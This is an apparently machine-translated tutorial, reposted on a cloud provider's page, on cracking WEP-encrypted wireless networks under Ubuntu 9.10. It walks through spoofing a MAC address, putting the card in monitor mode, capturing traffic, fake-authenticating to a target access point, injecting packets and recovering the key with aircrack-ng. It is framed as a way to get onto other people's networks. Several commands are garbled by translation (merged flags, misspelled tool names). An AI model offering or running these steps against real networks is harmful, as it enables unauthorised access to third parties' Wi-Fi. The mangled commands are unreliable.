Ubuntu9.10 Study Notes-cracking wireless WEP

Source: Internet
Author: User
Use WPA2 or restrict the mac address if you do not want to steal the network. If you want to pretend to be a mac address, you can use a FAKE mac address (you can also skip this step. first, check your mac address and enter ifconfig-a in the terminal to view the current Nic. Here, we will view all the NICS on your machine, you need to find your wireless network card. In this step, the Network Card Name Is wlan.

Use WPA2 or restrict the mac address if you do not want to steal the network.

If you want to pretend to be a mac address, you can use a FAKE mac address (you can skip this step)

1. First, check your mac address.

Enter ifconfig-a in the terminal to view the current network card. Here, all network cards on your machine are displayed. You need to find your wireless network card by yourself.

In this step, the ENI name is

Wlan0

Then stop loading the usb nic Driver.

Run the command

Ifconfig-a wlan0 down

2. Then input macchanger-m 00: 11: 22: 33: 44: 55 wlan0

Modify the mac address of your USB Nic

-M is followed by the MAC to be forged, and then the name of the NIC to be modified. Here we change the MAC of the USB Nic to 00: 11: 22: 33: 44: 55.

Reload the usb nic Driver

Run the command

Ifconfig-a wlan0 up

The following is the original content. Let's take a look at it.

-----------------------

Ubuntu 9.10 crack wep wireless encryption

1. Install ubuntu and aircrack-ng

Install Ubuntu9.04 first to update the system to the latest version.

Enter sudo apt-get install aircrack-ng in the terminal to install aircrack-ng.

If you are not connected to the Internet, go to another computer and download the aircrack-ng Ubuntu DEB installation package.

: Http://packages.ubuntu.com/zh-cn/jaunty/i386/aircrack-ng/download

Ii. Cracking Process

1. start the monitoring mode of the wireless network card. Enter sudo airmon-ng start wlan0 in the terminal.

(Wlan0 is the port of the wireless network card. You can enter ifconfig in the terminal to view the port)

2. View Wireless AP input in the terminal:

Sudo airodump-ng mon0

(Note: After the monitoring mode is enabled, the wireless network port is now mon0 !!!)

Check which wep-encrypted AP is online, press ctrl + c to exit, and keep the terminal

3. packet capture

Open another terminal and enter:

Sudo airodump-ng-c 6 -- mac address of the bssid target-w wep mon0

(6 followed by-c is the AP working channel to be cracked, and the AP's MAC address followed by bissid is the MAC address of the AP to be cracked, -w is followed by wep, which is the file name for storing captured DATA packets. Change the channel and MAC address based on the online AP in step 2. The file name for storing DATA can be named as needed)

4. Establish a virtual connection with the AP

Open another terminal and enter:

Sudo aireplay-ng-1 0-a AP's MAC-h My MAC mon0

(My MAC following-h is the MAC address of your wireless network card. command:

Iwlist wlan0 scanning

You can view your MAC address)

5. Inject

After a virtual connection is established, enter:

Sudo aireplay-ng-2-F-p 0841-c ff: ff-B Target MAC address-h My MAC address mon0

Now let's look back at whether the terminal in step 3 is starting to soar!

6. decryption

After collecting more than 5000 pieces of DATA, open another terminal and enter:

Sudo aircrack-ng wep *. cap

Decryption

(If not, continue. aircrack-ng will automatically run after each additional 5000 DATA entries until the calculated password is reached)

7. Close

After the password is cracked, enter sudo airomon-ng stop mon0 in the terminal to disable the monitoring mode. Otherwise, the wireless network adapter will continue injecting the password to the AP, you cannot exit or directly close the terminal by using ctrl + c. Now you can surf, or repeat 1-7 to crack its AP. When you are surfing, do not be too aggressive. Otherwise, it will be difficult to redirect the host.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.